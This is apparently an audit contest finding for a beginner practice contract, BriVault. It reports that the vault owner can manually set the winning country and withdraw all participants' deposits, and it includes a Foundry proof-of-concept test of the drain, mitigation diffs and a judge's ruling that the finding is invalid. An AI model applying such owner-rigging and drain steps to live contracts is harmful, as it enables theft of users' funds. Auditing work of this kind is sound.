BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: low
Likelihood: high
Invalid

An owner sets a winner manually and not randomly, so the winner can be manipulated and all funds are transferred to the one person.

valya

Root + Impact

Description

  • Participants expect fair winner selection, which is possible if only a winner is set randomly, but the setWinner function takes a countryIndex, which is specified by the owner only.

  • The owner may reset countries later in order for him to choose a winner country with the smallest amount of totalWinnerShares, join the event with the winner countryId and withdraw all deposits.

@> function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
if (block.timestamp <= eventEndDate) {
revert eventNotEnded();
}
​
require(countryIndex < teams.length, "Invalid country index");
​
if (_setWinner) {
revert WinnerAlreadySet();
}

Risk

Likelihood: HIGH

  • This will occur every time the owner sets the winner. The owner may set any countryIndex of his choice.

Impact: LOW

  • An owner may choose a winner countryId with the fewest amount of totalWinnerShares, join the event with that countryId, call the withdraw function and receive more assets because of the high share price.

Proof of Concept

  1. setCountry for the event

  2. Make deposits from 4 participants.

  3. Only 2 participants joinEvent with the same countryId, so that there are 47 countries without participants and any index of that 47 countries may be used by an owner to joinEvent and be the only shareholder there and withdraw all funds.

    1. It is even easier for an owner to not setCountry at all, so participants will joinEvent without countries set for them, and the owner may choose any countryId from 0 to 47.

    2. The owner may reset countries at any moment, so it doesn't even matter what countryId was chosen by participants to joinEvent.

  4. Check vault balance - all deposits minus the fee from 4 users are in the balance.

  5. Once there is some balance in the vault, sufficient for an attacker, the owner deposits and joins with countryId where no shareholders exist. If there is no such countryId, the owner may reset the countries.

  6. The owner sets the winner after eventEndDate.

  7. The owner withdraws all the vault balance.

function test_setWinner_ownerMayTakeAllFunds_whenCountriesAreSet() public {
uint256 amountOfUsers = 4;
uint256 totalDepositForUsers = 20 ether;
uint256 depositAmountForUser = totalDepositForUsers / amountOfUsers;
​
// 1. setCountry
vm.prank(owner);
briVault.setCountry(countries);
​
// 2. deposit from 4 participants
// 3. only 2 of them joined with countryId = 1
// user1 - deposit + join
uint256 countryIdUser1And2 = 1;
vm.startPrank(user1);
mockToken.approve(address(briVault), depositAmountForUser);
uint256 mintedSharesWhenDepositedForUser1 = briVault.deposit(depositAmountForUser, user1);
​
briVault.joinEvent(countryIdUser1And2);
uint256 storedSharesWhenJoinedForUser1 = briVault.userSharesToCountry(user1, 1);
assertEq(mintedSharesWhenDepositedForUser1, storedSharesWhenJoinedForUser1);
vm.stopPrank();
​
// user2 - deposit + join
vm.startPrank(user2);
mockToken.approve(address(briVault), depositAmountForUser);
uint256 mintedSharesWhenDepositedForUser2 = briVault.deposit(depositAmountForUser, user2);
​
briVault.joinEvent(countryIdUser1And2);
uint256 storedSharesWhenJoinedForUser2 = briVault.userSharesToCountry(user2, 1);
assertEq(mintedSharesWhenDepositedForUser2, storedSharesWhenJoinedForUser2);
vm.stopPrank();
​
// user3 - deposit only
vm.startPrank(user3);
mockToken.approve(address(briVault), depositAmountForUser);
uint256 mintedSharesWhenDepositedForUser3 = briVault.deposit(depositAmountForUser, user3);
uint256 storedSharesWhenJoinedForUser3 = briVault.userSharesToCountry(user3, 0);
assertEq(storedSharesWhenJoinedForUser3, 0);
assertEq(
(mintedSharesWhenDepositedForUser3 - storedSharesWhenJoinedForUser3), mintedSharesWhenDepositedForUser3
);
vm.stopPrank();
​
// user4 - deposit only
vm.startPrank(user4);
mockToken.approve(address(briVault), depositAmountForUser);
uint256 mintedSharesWhenDepositedForUser4 = briVault.deposit(depositAmountForUser, user4);
uint256 storedSharesWhenJoinedForUser4 = briVault.userSharesToCountry(user4, 0);
assertEq(storedSharesWhenJoinedForUser4, 0);
assertEq(
(mintedSharesWhenDepositedForUser4 - storedSharesWhenJoinedForUser4), mintedSharesWhenDepositedForUser4
);
vm.stopPrank();
​
// 4. check vault balance
uint256 BASE = 10000;
uint256 feeOnDeposit = (totalDepositForUsers * briVault.participationFeeBsp()) / BASE;
assertEq(mockToken.balanceOf(address(briVault)), (totalDepositForUsers - feeOnDeposit));
​
// 5. owner deposits
vm.startPrank(owner);
mockToken.approve(address(briVault), 5 ether);
uint256 ownerDepositAmount = briVault.minimumAmount() * 2;
uint256 mintedSharesWhenDepositedOwner = briVault.deposit(ownerDepositAmount, owner);
​
// owner joinsEvent with countryId where no shares holders exist. If there is no such a countryId - owner may reset countries
uint256 countryIdOwner = 10;
assert(countryIdOwner != countryIdUser1And2);
​
briVault.joinEvent(countryIdOwner);
uint256 storedSharesWhenJoinedForOwner = briVault.userSharesToCountry(owner, 10);
assertEq(mintedSharesWhenDepositedOwner, storedSharesWhenJoinedForOwner);
​
// 6. Owner sets winner after eventEndDate
vm.warp(block.timestamp + eventEndDate + 1);
vm.roll(block.number + 1);
briVault.setWinner(countryIdOwner);
assertEq(briVault.teams(countryIdOwner), briVault.winner());
​
// 7. Owner withdraws all vault balance
uint256 ownerBalanceBefore = mockToken.balanceOf(owner);
uint256 expectedAssetsToWithdraw = Math.mulDiv(
storedSharesWhenJoinedForOwner, mockToken.balanceOf(address(briVault)), briVault.totalWinnerShares()
);
assertEq(storedSharesWhenJoinedForOwner, briVault.totalWinnerShares());
​
vm.expectEmit();
emit Withdraw(owner, expectedAssetsToWithdraw);
briVault.withdraw();
​
vm.stopPrank();
uint256 ownerBalanceAfter = mockToken.balanceOf(owner);
assertEq(ownerBalanceAfter, (ownerBalanceBefore + expectedAssetsToWithdraw));
}

Recommended Mitigation

  1. Select a winner randomly using Chainlink VRF.

  2. Do not allow resetting countries:

    • Set teams once in a constructor only, and remove the public function setCountry:

constructor (IERC20 _asset, uint256 _participationFeeBsp, uint256 _eventStartDate, address _participationFeeAddress, uint256 _minimumAmount, uint256 _eventEndDate, string[48] memory _countries) ERC4626 (_asset) ERC20("BriTechLabs", "BTT") Ownable(msg.sender) {
if (_participationFeeBsp > PARTICIPATIONFEEBSPMAX){
revert limiteExceede();
}
+ teams = _countries;
participationFeeBsp = _participationFeeBsp;
eventStartDate = _eventStartDate;
eventEndDate = _eventEndDate;
participationFeeAddress = _participationFeeAddress;
minimumAmount = _minimumAmount;
_setWinner = false;
}
​
​
-function setCountry(string[48] memory countries) public onlyOwner {
- for (uint256 i = 0; i < countries.length; ++i) {
- teams[i] = countries[i];
- }
- emit CountriesSet(countries);
-}

  • Alternatively, add a check on `teams.length` when `setCountry` is called and revert once `teams` are already set:

+ error TeamsAlreadySet();
​
function setCountry(string[48] memory countries) public onlyOwner {
+ if (teams.length > 0) {
+ revert TeamsAlreadySet();
+ }
for (uint256 i = 0; i < countries.length; ++i) {
teams[i] = countries[i];
}
emit CountriesSet(countries);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

The winner is set by the owner

This is owner action and the owner is assumed to be trusted and to provide correct input arguments.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!